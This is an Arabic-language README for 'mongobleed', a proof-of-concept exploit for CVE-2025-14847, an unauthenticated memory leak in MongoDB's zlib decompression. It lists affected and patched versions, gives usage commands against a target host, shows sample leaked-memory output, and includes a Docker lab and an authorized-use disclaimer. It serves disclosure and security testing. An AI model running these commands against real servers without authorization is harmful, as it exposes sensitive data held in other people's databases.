
CVE-2025-14847 - استغلال تسريب ذاكرة MongoDB دون مصادقة
استغلال إثبات مفهوم لثغرة فك ضغط zlib في MongoDB تتيح للمهاجمين غير المصادق عليهم تسريب ذاكرة حساسة من الخادم.
خلل في فك ضغط رسائل zlib في MongoDB يُرجع حجم المخزن المؤقت المُخصَّص بدلاً من طول البيانات المفكوك ضغطها الفعلي. يتيح هذا للمهاجمين قراءة ذاكرة غير مُهيأة عبر:
uncompressedSize مُضخَّمة| الإصدار | المتأثر | المُصلَح |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
يتم تضمين ملف Docker Compose لتشغيل مثيل MongoDB قابل للاستغلال:
docker-compose up -d
python3 mongobleed.py
ينشئ الاستغلال مستندات BSON بحقول طول مُضخَّمة. عندما يحلل الخادم هذه المستندات، يقرأ أسماء الحقول من ذاكرة غير مُهيأة حتى يصل إلى بايت فارغ. يمكن لكل فحص عند إزاحة مختلفة تسريب مناطق ذاكرة مختلفة.
قد تتضمن البيانات المسرَّبة:
/proc (معلومات الذاكرة، إحصائيات الشبكة)Joe Desimone - x.com/dez_
هذه الأداة مخصصة لاختبارات الأمان المُصرَّح بها فقط. الوصول غير المصرَّح به إلى أنظمة الكمبيوتر غير قانوني.
| الخيار | الافتراضي | الوصف |
|---|
--host | localhost | مضيف MongoDB المستهدف |
--port | 27017 | منفذ MongoDB المستهدف |
--min-offset | 20 | الحد الأدنى لطول المستند الذي سيتم فحصه |
--max-offset | 8192 | الحد الأقصى لطول المستند الذي سيتم فحصه |
--output | leaked.bin | ملف الإخراج للبيانات المسرَّبة |